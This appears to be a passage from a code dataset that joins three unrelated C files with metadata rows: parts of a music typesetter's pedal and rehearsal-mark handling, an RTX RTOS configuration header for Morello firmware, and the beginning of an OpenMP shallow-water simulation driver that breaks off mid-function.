if (stuff_p->string != (char *) 0) {
FREE(stuff_p->string);
}
FREE(stuff_p);
}
/* at each bar line, see if there are any "til" clauses that are supposed
* to end in this measure. If so, make sure they end within the time
* signature for this measure. */
void
meas_stuff_chk()
{
struct TIL_INFO *til_info_p; /* to index thru list */
struct TIL_INFO **del_place_p_p; /* for deleting from list */
struct TIL_INFO *one2free_p; /* pointer to which element
* to free */
debug(2, "meas_chk_stuff");
/* update measure number to conpensate for any multirests */
Measnum += Multi_adjust;
Multi_adjust = 0;
/* go through list of in-progress til clauses */
for (til_info_p = Til_info_list_p, del_place_p_p = &Til_info_list_p;
til_info_p != (struct TIL_INFO *) 0; ) {
if (til_info_p->measnum == Measnum) {
/* at measure where this til clause ends */
/* check if within time signature */
if (til_info_p->count > Score.timenum + 1.0) {
l_yyerror(til_info_p->inputfile,
til_info_p->inputlineno,
"beats in 'til' clause must be <= numerator of time signature + 1 of the measure in which the 'til' clause ends (i.e., <= %d)",
Score.timenum);
}
/* this one has been taken care of: delete from list */
*del_place_p_p = til_info_p->next;
one2free_p = til_info_p;
}
else if (til_info_p->measnum < Measnum) {
/* must have ended inside a multirest, so delete
* from list */
*del_place_p_p = til_info_p->next;
one2free_p = til_info_p;
}
else {
/* this one stays on the list for now, so move pointer
* to where to potentially delete to next element */
del_place_p_p = &(til_info_p->next);
one2free_p = (struct TIL_INFO *) 0;
}
/* have to move to next element
* before freeing the current one */
til_info_p = til_info_p->next;
if (one2free_p != (struct TIL_INFO *) 0) {
FREE(one2free_p);
}
}
/* update number of measures. */
Measnum++;
/* make sure pedal marks are in proper order */
ped_order_chk();
}
/* adjust number of measures to account for multirests. Called when there is
* a multirest. Saved the number of measures in the multirest (minus 1 since
* the barline at the end will count for one measure) */
void
multi_stuff(nmeas)
int nmeas; /* number of measures in multirest */
{
/* subtract 1 to account for the fact that at the bar line at the
* end of the multirest we will peg the measure counter */
Multi_adjust = nmeas - 1;
}
/* handle pedal going into endings. When we hit a first ending, save the
* state of the pedal for all staffs. On subsequent endings in the set,
* reset the pedal state to what it was at the beginning of the first ending.
* At the endending, go back to normal operation. This is similar to
* the saveped() function used at print time. */
void
ped_endings(endingloc)
int endingloc; /* STARTITEM, INITEM, etc */
{
register int s; /* staff index */
if (endingloc == STARTITEM) {
if (Ped_snapshot[0] == YES) {
/* starting 2nd ending: restore pedal state as it was
* at beginning of first ending */
for (s = 1; s <= MAXSTAFFS; s++) {
Pedal_state[s] = Ped_snapshot[s];
}
}
else {
/* starting a set of endings,
* need to save pedal state at this
* point so we can carry it into subsequent endings */
for (s = 1; s <= Score.staffs; s++) {
Ped_snapshot[s] = Pedal_state[s];
}
/* make sure any remaining staffs are set to pedal off,
* in case user increases the number of staffs
* during the endings... */
for ( ; s <= MAXSTAFFS; s++) {
Ped_snapshot[s] = NO;
}
/* mark that we now have a snapshot */
Ped_snapshot[0] = YES;
}
}
else if (endingloc == ENDITEM) {
/* at end of endings, discard snapshot of pedal states */
Ped_snapshot[0] = NO;
}
}
/* When all input has been processed, or when changing the number
* of staffs, we better not have any 'til' clauses
* still unfinished. If we do, print a warning message. */
void
chk4dangling_til_clauses(boundary_desc)
char *boundary_desc; /* "the end of the song" or
* "a change in number of staffs" */
{
struct TIL_INFO *til_info_p;
debug(2, "chk4dangling_til_clauses");
/* Go through the whole list of remaining til clauses,
* and print a warning message for each. */
for (til_info_p = Til_info_list_p; til_info_p != (struct TIL_INFO *) 0;
til_info_p = til_info_p->next) {
/* If right on the boundary or spills over only a very tiny
* amount, don't bother to complain */
if (til_info_p->measnum - Measnum == 0
&& til_info_p->count < .001) {
continue;
}
l_warning(til_info_p->inputfile, til_info_p->inputlineno,
"'til' clause extends beyond %s by %dm + %.3f",
boundary_desc, til_info_p->measnum - Measnum,
til_info_p->count);
}
/* mop up. */
free_tils(Til_info_list_p);
Til_info_list_p = (struct TIL_INFO *) 0;
}
/* recursively free a list of TIL_INFO structs */
static void
free_tils(til_p)
struct TIL_INFO *til_p; /* free this list */
{
if (til_p == (struct TIL_INFO *) 0) {
return;
}
free_tils(til_p->next);
FREE(til_p);
}
/* user only has to specify when pedal marks end. We deduce from current
* pedal state whether a pedal mark is begin or up/down. This gets called
* whenever we have a list of pedal STUFFs. Later we enforce that pedal
* marks are put in in ascending order only, so that if user enters more
* than one pedal line for the same staff, that will be handled properly. */
static void
fix_pedal(staffno, stuff_p)
int staffno; /* pedal is for this staff */
struct STUFF *stuff_p; /* list of pedal mark info */
{
/* walk through list of pedal marks */
for ( ; stuff_p != (struct STUFF *) 0; stuff_p = stuff_p->next) {
if (stuff_p->string == (char *) 0) {
/* no star, so have to deduce state */
if (Pedal_state[staffno] == NO) {
/* pedal currently off, so begin pedal */
Pedal_state[staffno] = YES;
stuff_p->string = copy_string(Ped_begin_str + 2,
(int) Ped_begin_str[0],
(int) Ped_begin_str[1]);
}
else {
/* pedal currently down, so pedal up/down */
stuff_p->string = copy_string(Ped_up_down_str + 2,
(int) Ped_up_down_str[0],
(int) Ped_up_down_str[1]);
}
}
else if (Pedal_state[staffno] == NO) {
yyerror("can't end pedal -- none in progress");
}
else {
/* user gave star, so end pedal */
Pedal_state[staffno] = NO;
}
}
}
/* reset pedal states for all staffs. This should be called at init time
* and at any time when the number of staffs changes. This function also
* initializes the Ped_begin_str and Ped_up_down_str. */
void
reset_ped_state()
{
static int first_time = YES; /* flag if function called before */
register int s; /* index through staffs */
/* mark pedal off for all staffs */
for (s = 1; s <= Score.staffs; s++) {
Pedal_state[s] = NO;
}
Ped_snapshot[0] = NO;
/* the first time this function is called, initialize the strings
* for pedal begin and pedal end. We just have one copy of these
* and then make as many copies from these as necessary */
if (first_time == YES) {
first_time = NO;
Ped_begin_str = copy_string("\\(begped)", FONT_MUSIC,
DFLT_SIZE);
Ped_up_down_str = copy_string("\\(pedal)", FONT_MUSIC,
DFLT_SIZE);
fix_string(Ped_begin_str, FONT_MUSIC, DFLT_SIZE,
Curr_filename, -1);
fix_string(Ped_up_down_str, FONT_MUSIC, DFLT_SIZE,
Curr_filename, -1);
}
}
/* fill in rehearsal mark string. This doesn't go in a STUFF, but it's
* sort of like stuff and there didn't seem to be any more appropriate file for
* this function */
static int Reh_let = 0; /* current value of rehearsal letter. 0 == "A",
* 25 == "Z", 26 == "AA", etc to 701 == "ZZ" */
static int Reh_num = 1; /* current value of rehearsal number */
void
set_reh_string(bar_p, fontfamily, font, size, string)
struct BAR *bar_p; /* which bar gets the rehearsal mark */
int fontfamily; /* what font family to use, or FAMILY_DFLT
* if to use current default */
int font; /* what font to use, or FONT_UNKNOWN if to use the
* current default font */
int size; /* font size to use, or -1 if to use current default */
char *string; /* string for rehearsal mark */
{
char reh_str[12]; /* temporary buff for string version of
* rehearsal number or letter */
static int reh_size = DFLT_SIZE; /* size to use for reh marks */
static int reh_family = FAMILY_DFLT; /* font family to use */
static int reh_font = FONT_TB; /* font to use */
/* if first time through, init the font family to the score family */
if (reh_family == FAMILY_DFLT) {
reh_family = Score.fontfamily;
}
/* if user specified a new size, save that */
if (size != -1) {
if (size > 100) {
yyerror("reh mark size too large");
return;
}
else {
reh_size = size;
}
}
/* if user specified new font or font family, save that */
if (font != FONT_UNKNOWN) {
reh_font = font;
}
if (fontfamily != FAMILY_DFLT) {
reh_family = fontfamily;
}
switch(bar_p->reh_type) {
case REH_NUM:
/* get string version of current rehearsal number, and
* incrment it */
bar_p->reh_string = copy_string(num2str(Reh_num++) + 2,
reh_family + reh_font, reh_size);
break;
case REH_LET:
/* Get string version of current rehearsal letter.
* Start with A-Z, then AA, AB, AC, ... BA, BB, ... up to ZZ.
*/
if (Reh_let < 26) {
/* 1-letter long mark */
(void) sprintf(reh_str, "%c", Reh_let + 'A');
}
else if (Reh_let < 27 * 26) {
/* 2-letter long mark */
(void) sprintf(reh_str, "%c%c",
(Reh_let / 26) + 'A' - 1, (Reh_let % 26) + 'A');
}
else {
ufatal("too many rehearsal letters!");
}
bar_p->reh_string = copy_string(reh_str,
reh_family + reh_font, reh_size);
/* increment for next time around */
Reh_let++;
break;
case REH_MNUM:
/* get string version of current measure number */
bar_p->reh_string = copy_string(num2str(Meas_num) + 2,
reh_family + reh_font, reh_size);
break;
case REH_STRING:
/* user-specified string */
bar_p->reh_string = fix_string(string,
reh_family + reh_font, reh_size,
Curr_filename, yylineno);
break;
case REH_NONE:
break;
default:
pfatal("set_reh_string passed bad value");
break;
}
}
/* Set rehearsal letter or number to user-specified value.
* If the current bar has a rehearsal mark of the type being changed,
* also replace its current mark with the changed one. This allows user
* to say either
* reh num num=5
* or
* num=5 reh num
* and get the same results, which is consistent with how mnum= setting
* had worked.
*/
void
init_reh(rehnumber, rehletter, mainbar_p)
int rehnumber; /* New value for Reh_num or negative if setting Reh_let */
char *rehletter; /* "A" to "ZZ" or null if setting number */
struct MAINLL *mainbar_p; /* points to the current BAR */
{
struct BAR *bar_p;
char *oldstr; /* previous reh_string */
if (mainbar_p == 0 || mainbar_p->str != S_BAR) {
pfatal("bad mainbar_p passed to init_reh");
}
bar_p = mainbar_p->u.bar_p;
oldstr = bar_p->reh_string;
if (rehnumber >= 0) {
Reh_num = rehnumber;
/* If this bar has a rehearsal number on this bar,
* replace it, and free the old one. */
if (bar_p->reh_type == REH_NUM) {
set_reh_string(bar_p, FAMILY_DFLT, FONT_UNKNOWN, -1,
(char *) 0);
FREE(oldstr);
}
}
if (rehletter != 0) {
/* Letter is stored internally as a number,
* which is then converted, so we have to convert in reverse.
* We only allow "A" through "ZZ" */
if (isupper(rehletter[0]) && rehletter[1] == '\0') {
Reh_let = rehletter[0] - 'A';
}
else if (isupper(rehletter[0]) && isupper(rehletter[1])
&& rehletter[2] == '\0') {
Reh_let = 26 + (rehletter[1] - 'A')
+ (rehletter[0] - 'A') * 26;
}
else {
yyerror("rehearsal letter setting must be \"A\" through \"ZZ\"");
return;
}
/* If this bar has a rehearsal letter on this bar,
* replace it, and free the old one. */
if (bar_p->reh_type == REH_LET) {
set_reh_string(bar_p, FAMILY_DFLT, FONT_UNKNOWN, -1,
(char *) 0);
FREE(oldstr);
}
}
}
/* go through all stuff lists and verify that pedal marks are given in
* ascending order. If not, error. Some code in both parse and
* placement phases requires that pedal marks be in order. */
static void
ped_order_chk()
{
int staffno;
struct STUFF *stuff_p; /* walk through stuff list */
float last_ped_count; /* count where last pedal occurred */
int last_backup; /* gracebackup of last pedal */
/* check every staff */
for (staffno = 1; staffno <= Score.staffs; staffno++) {
/* initialize for current staff */
last_ped_count = -1.0;
last_backup = 0;
/* In error cases, pointers may not be set right */
if (Staffmap_p[staffno] == 0 ||
Staffmap_p[staffno]->u.staff_p == 0) {
continue;
}
/* go through stuff list for current staff, looking for pedal */
for (stuff_p = Staffmap_p[staffno]->u.staff_p->stuff_p;
stuff_p != (struct STUFF *) 0;
stuff_p = stuff_p->next) {
if (stuff_p->stuff_type == ST_PEDAL) {
/* found a pedal. Make sure it is later than
* the previous pedal */
if (stuff_p->start.count < last_ped_count ||
(stuff_p->start.count
== last_ped_count
&& stuff_p->start.gracebackup
>= last_backup) ) {
l_yyerror(stuff_p->inputfile,
stuff_p->inputlineno,
"pedal must be specified in ascending order");
/* no need to print error more than
* once if multiple errors */
continue;
}
/* keep track of where this pedal is, for
* comparing with the next one */
last_ped_count = stuff_p->start.count;
last_backup = stuff_p->start.gracebackup;
}
}
}
}
/* Translate STUFF text modifier to a printable string. */
char *
stuff_modifier(modifier)
int modifier;
{
switch (modifier) {
case TM_CHORD:
return("chord");
case TM_ANALYSIS:
return("analysis");
case TM_FIGBASS:
return("figbass");
case TM_DYN:
return("dyn");
case TM_NONE:
return("(no modifier)");
default:
return("(invalid modifier)");
}
}
/* Go through main list and convert any embedded phrase marks
* (as specified by ph - eph pairs in the music input) into phrase STUFFs.
* That way placement and later phases don't need to know or care which
* syntax the user used.
*/
void
conv_ph_eph()
{
struct MAINLL *mll_p;
int vindex; /* voice index */
debug(2, "conv_ph_eph");
initstructs();
/* Process every voice on every staff */
for (mll_p = Mainllhc_p; mll_p != 0; mll_p = mll_p->next) {
if (mll_p->str == S_STAFF) {
for (vindex = 0; vindex < MAXVOICES; vindex++) {
if (mll_p->u.staff_p->groups_p[vindex] == 0) {
break;
}
voice_phrases(mll_p, vindex);
}
}
/* need to keep track on time signature changes at least */
else if (mll_p->str == S_SSV) {
asgnssv(mll_p->u.ssv_p);
}
}
}
/* Given a MAINLL pointing to a STAFF, and a voice index, go through
* the GRPSYLs for that voice for the current measure, finding any
* beginning of embedded phrases. For any found, find its matching
* end phrase, and create a STUFF with the proper start/end values.
*/
static void
voice_phrases(mll_p, vindex)
struct MAINLL *mll_p; /* points to a STAFF */
int vindex; /* which voice to check */
{
struct GRPSYL *gs_p; /* to walk throug the measure */
int ph_index; /* index into phplace array */
int ph_count; /* how many ph instances on current group */
for (gs_p = mll_p->u.staff_p->groups_p[vindex]; gs_p != 0;
gs_p = gs_p->next) {
/* A given GRPSYL could have multiple ph starts.
Loop through them all. */
for (ph_index = 0, ph_count = gs_p->phcount;
ph_index < ph_count; ph_index++) {
/* There is a ph; go off to find its matching end */
find_eph(mll_p, gs_p, vindex,
(int) gs_p->phplace[ph_index]);
gs_p->phcount--;
}
/* find_eph will decrement the ephcount every time we handle
* a phrase, so if we encounter an eph here,
* it must be an orphan. */
if (gs_p->ephcount > 0) {
l_warning(gs_p->inputfile, gs_p->inputlineno,
"found eph without matching ph; ignored");
}
}
}
/* Given information about a GRPSYL with a ph, find its matching eph
* and make a phrase STUFF for it. */
static void
find_eph(mll_p, gs_p, vindex, place)
struct MAINLL *mll_p; /* Points to STAFF containing the GRPSYL with ph */
struct GRPSYL *gs_p; /* The GRPSYL starting the phrase */
int vindex; /* which voice */
int place; /* PL_* */
{
struct MAINLL *curr_mll_p; /* in case we cross bar lines */
struct MAINLL *m_p; /* for finding time sig changes */
struct MAINLL *end_mll_p; /* points to STAFF having end */
struct GRPSYL *end_gs_p; /* the group with matching end */
int bars; /* how many bars lines crossed */
int numstarts; /* in case of nested phrases */
int ecount; /* how many eph marks seen */
int end_ts_den; /* time signature denominator at the end */
/* initialize */
bars = 0;
curr_mll_p = end_mll_p = mll_p;
end_gs_p = gs_p;
numstarts = gs_p->phcount;
end_ts_den = Score.timeden;
/* Walk through groups looking for matching eph */
while ((end_gs_p = nextgrpsyl(end_gs_p, &end_mll_p)) != 0) {
if (end_mll_p != curr_mll_p) {
/* We are now in a different measure,
* so we must have crossed a bar line.
* Note that when specifying number of bars to
* cross for STUFF when using the other syntax,
* invisbars and restarts count just like
* any other bars, so we do the same here.
*/
bars++;
curr_mll_p = end_mll_p;
/* Handle multirest. Actually, placement code
* discards any phrases that have multirests inside
* them, but this should make the phrase we generate
* here consistent with what the user would have put
* in using the other input method,
* so if we ever support phrase across multirest,
* this ought to work equally well. */
if (end_gs_p->is_multirest ==YES) {
bars -= end_gs_p->basictime + 1;
}
/* If we passed a time signature change,
* need to keep track of the new denominator.
* Back up to the previous bar line, or until
* we encounter an SSV with a time signature change.
* If the latter, save its denominator. */
for (m_p = curr_mll_p; m_p != 0; m_p = m_p->prev) {
if (m_p->str == S_SSV) {
if (m_p->u.ssv_p->used[TIME] == YES) {
end_ts_den = m_p->u.ssv_p->timeden;
break;
}
}
else if (m_p->str == S_BAR) {
break;
}
}
}
for (ecount = end_gs_p->ephcount; ecount > 0; ecount--) {
if (numstarts > 1) {
/* end of a nested phrase */
numstarts--;
}
else {
mk_phrase_stuff(mll_p, gs_p, end_mll_p,
bars, end_gs_p, end_ts_den, place);
/* Mark this endphrase as handled. That
* way if the caller comes across a
* GRPSYL that still has eph set, it can
* know that it must be an orphan that
* had no matching start ph. */
(end_gs_p->ephcount)--;
return;
}
}
/* Keep track of nested phrases */
if (end_gs_p->phcount > 0) {
numstarts += end_gs_p->phcount;
}
}
l_warning(gs_p->inputfile, gs_p->inputlineno,
"No matching eph for ph; phrase will be omitted");
}
/* Create a phrase STUFF for embedded ph-eph */
static void
mk_phrase_stuff(mll_p, begin_gs_p, end_mll_p, bars, end_gs_p, end_ts_den, place)
struct MAINLL *mll_p; /* attach new STUFF to this STAFF */
struct GRPSYL *begin_gs_p; /* where the ph was */
struct MAINLL *end_mll_p; /* end is off of here; need for allspace() */
int bars; /* how many bar lines were crossed to eph */
struct GRPSYL *end_gs_p; /* where in measure the eph was */
int end_ts_den; /* time signature denominator at end */
int place; /* PL_* */
{
struct GRPSYL *g_p;
struct STUFF *stuff_p; /* the created phrase STUFF */
RATIONAL begin_time; /* time offset in measure where phrase begins */
RATIONAL end_time; /* time offset in measure where phrase ends */
double begin_beats; /* begin_time converted to beats */
double end_beats; /* end_time converted to beats */
int beg_gracebackup;
int end_gracebackup;
int ok;
ok = YES;
if (begin_gs_p->grpcont != GC_NOTES) {
l_warning(begin_gs_p->inputfile, begin_gs_p->inputlineno,
"ph must be on notes, not rest or space; phrase will be omitted");
ok = NO;
}
if (end_gs_p->grpcont != GC_NOTES) {
l_warning(end_gs_p->inputfile, end_gs_p->inputlineno,
"eph must be on notes, not rest or space; phrase will be omitted");
ok = NO;
}
if (ok == NO) {
return;
}
/* Calculate how far we are into begin measure */
for (g_p = begin_gs_p->prev, begin_time = Zero; g_p != 0;
g_p = g_p->prev) {
begin_time = radd(begin_time, g_p->fulltime);
}
/* Calculate how far we are into end measure */
for (g_p = end_gs_p->prev, end_time = Zero; g_p != 0; g_p = g_p->prev) {
end_time = radd(end_time, g_p->fulltime);
}
/* Calculate grace backup for begin */
for (beg_gracebackup = 0, g_p = begin_gs_p; g_p->grpvalue == GV_ZERO;
g_p = g_p->next) {
beg_gracebackup++;
}
/* calculate end gracebackup */
for (end_gracebackup = 0, g_p = end_gs_p; g_p->grpvalue == GV_ZERO;
g_p = g_p->next) {
end_gracebackup++;
}
/* Convert time offset to form needed by STUFF */
begin_beats = 1.0 + RAT2FLOAT(begin_time) * Score.timeden;
end_beats = 1.0 + RAT2FLOAT(end_time) * end_ts_den;
debug(4, "creating phrase STUFF from ph-eph from %f(-%d) til %dm+%f(-%d)",
begin_beats, beg_gracebackup,bars, end_beats, end_gracebackup);
stuff_p = newSTUFF((char *)0, (double) 0.0, SD_NONE, NOALIGNTAG,
begin_beats, (double) 0.0, beg_gracebackup,
bars, end_beats, (double) 0.0,
end_gracebackup, ST_PHRASE, TM_NONE, place,
mll_p->inputfile, mll_p->inputlineno);
stuff_p->vno = begin_gs_p->vno;
/* If user didn't already explicitly specify a side,
* then if the vscheme at the beginning of the phrase (which is
* as far up to date as the SSV's are, fortunately) is not 1 voice,
* then if both voices 1 & 2 have non-space somewhere during the
* phrase, we need to explicitly set the place.
* Otherwise placement would create an extra STUFF to make phrases
* both above and below, and since user put this on a specific voice,
* we shouldn't do that.
*/
if (place == PL_UNKNOWN && begin_gs_p->vno != 3) {
if (svpath(begin_gs_p->staffno, VSCHEME)->vscheme != V_1) {
if (vvpath(begin_gs_p->staffno, 1, VISIBLE)->visible == YES
&& vvpath(begin_gs_p->staffno, 2, VISIBLE)->visible == YES
&& allspace(0, mll_p, begin_time, end_mll_p, end_time) == NO
&& allspace(1, mll_p, begin_time, end_mll_p, end_time) == NO) {
if (begin_gs_p->vno == 1) {
stuff_p->place = PL_ABOVE;
}
else {
stuff_p->place = PL_BELOW;
}
}
}
}
/* Insert into proper place in stuff list */
connect_stuff(mll_p->u.staff_p, stuff_p);
}
| 27.474211 | 132 | 0.657746 | [
"solid"
] |
d3dc1e190b36b714931363e897cf69da1ab96bb3 | 1,387 | h | C | product/morello/scp_ramfw_fvp/RTX_Config.h | etienne-lms/SCP-firmware | 39bdd3db87909a6ffa201e4b824fe792a4a48f70 | [
"BSD-3-Clause"
] | 2 | 2020-06-08T16:27:55.000Z | 2020-07-03T13:31:32.000Z | product/morello/scp_ramfw_fvp/RTX_Config.h | etienne-lms/SCP-firmware | 39bdd3db87909a6ffa201e4b824fe792a4a48f70 | [
"BSD-3-Clause"
] | null | null | null | product/morello/scp_ramfw_fvp/RTX_Config.h | etienne-lms/SCP-firmware | 39bdd3db87909a6ffa201e4b824fe792a4a48f70 | [
"BSD-3-Clause"
] | null | null | null | /*
* Arm SCP/MCP Software
* Copyright (c) 2020, Arm Limited and Contributors. All rights reserved.
*
* SPDX-License-Identifier: BSD-3-Clause
*
* Description:
* RTX2 v5 configuration file.
* The file must be called RTX_Config.h as it is included by an RTX
* file in order to create an object file containing the configuration.
*/
#ifndef RTX_CONFIG_H_
#define RTX_CONFIG_H_
/* System */
#define OS_DYNAMIC_MEM_SIZE 0
#define OS_TICK_FREQ 1000 /* Hz */
#define OS_ROBIN_ENABLE 0
#define OS_ROBIN_TIMEOUT 0
#define OS_ISR_FIFO_QUEUE 16
/* Thread */
#define OS_THREAD_OBJ_MEM 0
#define OS_THREAD_NUM 1
#define OS_THREAD_DEF_STACK_NUM 0
#define OS_THREAD_USER_STACK_SIZE 0
#define OS_STACK_SIZE 200
#define OS_IDLE_THREAD_STACK_SIZE 200
#define OS_STACK_CHECK 1
#define OS_STACK_WATERMARK 0
#define OS_PRIVILEGE_MODE 1
/* Timer */
#define OS_TIMER_OBJ_MEM 0
#define OS_TIMER_NUM 1
#define OS_TIMER_THREAD_PRIO 40
#define OS_TIMER_THREAD_STACK_SIZE 200
#define OS_TIMER_CB_QUEUE 4
/* Event flags */
#define OS_EVFLAGS_OBJ_MEM 0
#define OS_EVFLAGS_NUM 1
#define OS_MUTEX_OBJ_MEM 0
#define OS_MUTEX_NUM 1
#define OS_SEMAPHORE_OBJ_MEM 0
#define OS_SEMAPHORE_NUM 1
#define OS_MEMPOOL_OBJ_MEM 0
#define OS_MEMPOOL_NUM 1
#define OS_MEMPOOL_DATA_SIZE 0
#define OS_MSGQUEUE_OBJ_MEM 0
#define OS_MSGQUEUE_NUM 1
#define OS_MSGQUEUE_DATA_SIZE 0
#endif /* RTX_CONFIG_H_ */
| 24.333333 | 76 | 0.790916 | [
"object"
] |
d3dda41d1c2517224ce1ef87cfa2f14f048b6c37 | 13,838 | c | C | src/ldriver_parallel.c | cpphoo/shallow-water | a94e46da281266428310a1c90e97249a77de6e03 | [
"MIT"
] | null | null | null | src/ldriver_parallel.c | cpphoo/shallow-water | a94e46da281266428310a1c90e97249a77de6e03 | [
"MIT"
] | null | null | null | src/ldriver_parallel.c | cpphoo/shallow-water | a94e46da281266428310a1c90e97249a77de6e03 | [
"MIT"
] | null | null | null | #include "stepper_parallel.h"
#include "shallow2d.h"
#ifdef _OPENMP
#include <omp.h>
#elif defined SYSTIME
#include <sys/time.h>
#endif
#include <lua.h>
#include <lauxlib.h>
#include <lualib.h>
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
//ldoc on
/**
* # Driver code
*
* The driver code is where we put together the time stepper and
* the physics routines to actually solve the equations and make
* pretty pictures of the solutions.
*
* ## Diagnostics
*
* The numerical method is supposed to preserve (up to rounding
* errors) the total volume of water in the domain and the total
* momentum. Ideally, we should also not see negative water heights,
* since that will cause the system of equations to blow up. For
* debugging convenience, we'll plan to periodically print diagnostic
* information about these conserved quantities (and about the range
* of water heights).
*/
void solution_check(central2d_t* sim)
{
int nx = sim->nx, ny = sim->ny;
float* U = sim->U;
float h_sum = 0, hu_sum = 0, hv_sum = 0;
float hmin = U[central2d_offset(sim,0,0,0)];
float hmax = hmin;
for (int j = 0; j < ny; ++j) {
for (int i = 0; i < nx; ++i) {
float h = U[central2d_offset(sim,0,i,j)];
h_sum += h;
hu_sum += U[central2d_offset(sim,1,i,j)];
hv_sum += U[central2d_offset(sim,2,i,j)];
hmax = fmaxf(h, hmax);
hmin = fminf(h, hmin);
} // for (int i = 0; i < nx; ++i) {
} // for (int j = 0; j < ny; ++j) {
float cell_area = sim->dx * sim->dy;
h_sum *= cell_area;
hu_sum *= cell_area;
hv_sum *= cell_area;
printf("-\n Volume: %g\n Momentum: (%g, %g)\n Range: [%g, %g]\n",
h_sum, hu_sum, hv_sum, hmin, hmax);
assert(hmin > 0);
} // void solution_check(central2d_t* sim)
/**
* ## I/O
*
* After finishing a run (or every several steps), we might want to
* write out a data file for further processing by some other program
* -- in this case, a Python visualizer. The visualizer takes the
* number of pixels in x and y in the first two entries, then raw
* single-precision raster pictures.
*/
FILE* viz_open(const char* fname, central2d_t* sim, int vskip)
{
FILE* fp = fopen(fname, "w");
if (fp) {
float xy[2] = {sim->nx/vskip, sim->ny/vskip};
fwrite(xy, sizeof(float), 2, fp);
} // if (fp) {
return fp;
} // FILE* viz_open(const char* fname, central2d_t* sim, int vskip)
void viz_close(FILE* fp)
{
fclose(fp);
} // void viz_close(FILE* fp)
void viz_frame(FILE* fp, central2d_t* sim, int vskip)
{
if (!fp) {
return;
} // if (!fp) {
for (int iy = 0; iy < sim->ny; iy += vskip) {
for (int ix = 0; ix < sim->nx; ix += vskip) {
fwrite(sim->U + central2d_offset(sim,0,ix,iy),
sizeof(float), 1, fp);
} // for (int ix = 0; ix < sim->nx; ix += vskip) {
} // for (int iy = 0; iy < sim->ny; iy += vskip) {
} // void viz_frame(FILE* fp, central2d_t* sim, int vskip)
/**
* ## Lua driver routines
*
* A better way to manage simulation parameters is by a scripting
* language. Python is a popular choice, but I prefer Lua for many
* things (not least because it is an easy build). It's also quite
* cheap to call a Lua function for every point in a mesh
* (less so for Python, though it probably won't make much difference).
*
* ### Lua callback functions
*
* We specify the initial conditions by providing the simulator
* with a callback function to be called at each cell center.
* The callback function is assumed to be the `init` field of
* a table at index 1.
*/
void lua_init_sim(lua_State* L, central2d_t* sim)
{
lua_getfield(L, 1, "init");
if (lua_type(L, -1) != LUA_TFUNCTION) {
luaL_error(L, "Expected init to be a string");
} // if (lua_type(L, -1) != LUA_TFUNCTION) {
int nx = sim->nx, ny = sim->ny, nfield = sim->nfield;
float dx = sim->dx, dy = sim->dy;
float* U = sim->U;
for (int ix = 0; ix < nx; ++ix) {
float x = (ix + 0.5) * dx;
for (int iy = 0; iy < ny; ++iy) {
float y = (iy + 0.5) * dy;
lua_pushvalue(L, -1);
lua_pushnumber(L, x);
lua_pushnumber(L, y);
lua_call(L, 2, nfield);
for (int k = 0; k < nfield; ++k) {
U[central2d_offset(sim,k,ix,iy)] = lua_tonumber(L, k-nfield);
} // for (int k = 0; k < nfield; ++k) {
lua_pop(L, nfield);
} // for (int iy = 0; iy < ny; ++iy) {
} // for (int ix = 0; ix < nx; ++ix) {
lua_pop(L,1);
} // void lua_init_sim(lua_State* L, central2d_t* sim)
/**
* ### Running the simulation
*
* The `run_sim` function looks a lot like the main routine of the
* "ordinary" command line driver. We specify the initial conditions
* by providing the simulator with a callback function to be called at
* each cell center. Note that we have two different options for
* timing the steps -- we can use the OpenMP timing routines
* (preferable if OpenMP is available) or the POSIX `gettimeofday`
* if the `SYSTIME` macro is defined. If there's no OpenMP and
* `SYSTIME` is undefined, we fall back to just printing the number
* of steps without timing information.
*/
int run_sim(lua_State* L)
{
// lua set up.
int n = lua_gettop(L);
if (n != 1 || !lua_istable(L, 1)) {
luaL_error(L, "Argument must be a table");
} // if (n != 1 || !lua_istable(L, 1)) {
lua_getfield(L, 1, "w");
lua_getfield(L, 1, "h");
lua_getfield(L, 1, "cfl");
lua_getfield(L, 1, "ftime");
lua_getfield(L, 1, "nx");
lua_getfield(L, 1, "ny");
lua_getfield(L, 1, "vskip");
lua_getfield(L, 1, "frames");
lua_getfield(L, 1, "out");
double grid_width = luaL_optnumber( L, 2, 2.0);
double grid_height = luaL_optnumber( L, 3, grid_width);
double cfl = luaL_optnumber( L, 4, 0.45);
double ftime = luaL_optnumber( L, 5, 0.01);
int nx = luaL_optinteger(L, 6, 200);
int ny = luaL_optinteger(L, 7, nx);
int vskip = luaL_optinteger(L, 8, 1);
int frames = luaL_optinteger(L, 9, 50);
const char* fname = luaL_optstring( L, 10, "sim.out");
lua_pop(L, 9);
// initialize the global simulation object (which holds the entire grid)
central2d_t* sim = central2d_init(grid_width,
grid_height,
nx,
ny,
3, // nfield
shallow2d_flux,
shallow2d_speed,
cfl);
// more lua stuff.
lua_init_sim(L,sim);
printf("%g %g %d %d %g %d %g\n", grid_width, grid_height, nx, ny, cfl, frames, ftime);
FILE* viz = viz_open(fname, sim, vskip);
solution_check(sim);
viz_frame(viz, sim, vskip);
//////////////////////////////////////////////////////////////////////////////
// Begin Parallel region!
// First, make sure that openMP is defined... if not, then abort!
#ifndef _OPENMP
printf("openMP not defined. Aborting\n");
abort();
#endif
// First get the number of threads from the environment
// If the number of threads is null, then set the number number of threads to 1
char* s = getenv("OMP_NUM_THREADS");
int num_threads = 0;
if (s != NULL) {
num_threads = atoi(s);
}
if (num_threads == 0) {
num_threads = 1;
}
printf("Number of threads: %d\n", num_threads);
const int n_rows = num_threads;
const int n_cols = 1;
double tcompute = 0;
#pragma omp parallel num_threads(n_rows*n_cols)
{
// First, check that there are n_rows*n_cols threads
if(omp_get_num_threads() != n_rows*n_cols) {
printf("Couldn't create enough threads! Wanted %d but got %d\n aborting.\n", n_rows*n_cols, omp_get_num_threads());
abort();
} // if(omp_get_num_threads() != n_rows*n_cols) {
/* In this approach, we partition the global grid into a bunch of
sub grids. We split the rows of the global grid into n_rows rows and
n_cols cols. We assign threads to pieces of the partition based on their
thread number.
Let's do that now. pieces of the partition are indentified by two indicies,
p_row and p_col. These specify the row and column (within the partition) of the
piece. */
int p_row = omp_get_thread_num() % n_rows;
int p_col = ((int) omp_get_thread_num()) / ((int) n_rows);
/* Now that each processor has its sub grid indicies, we can determine which
rows and columns (within the global grid) each processor will be responsible
for. */
const int ny_p = ny / n_rows;
int ylow_local = p_row*ny_p;
int yhigh_local;
if(p_row == n_rows) { yhigh_local = ny; }
else { yhigh_local = ylow_local + ny_p; }
const int nx_p = nx / n_cols;
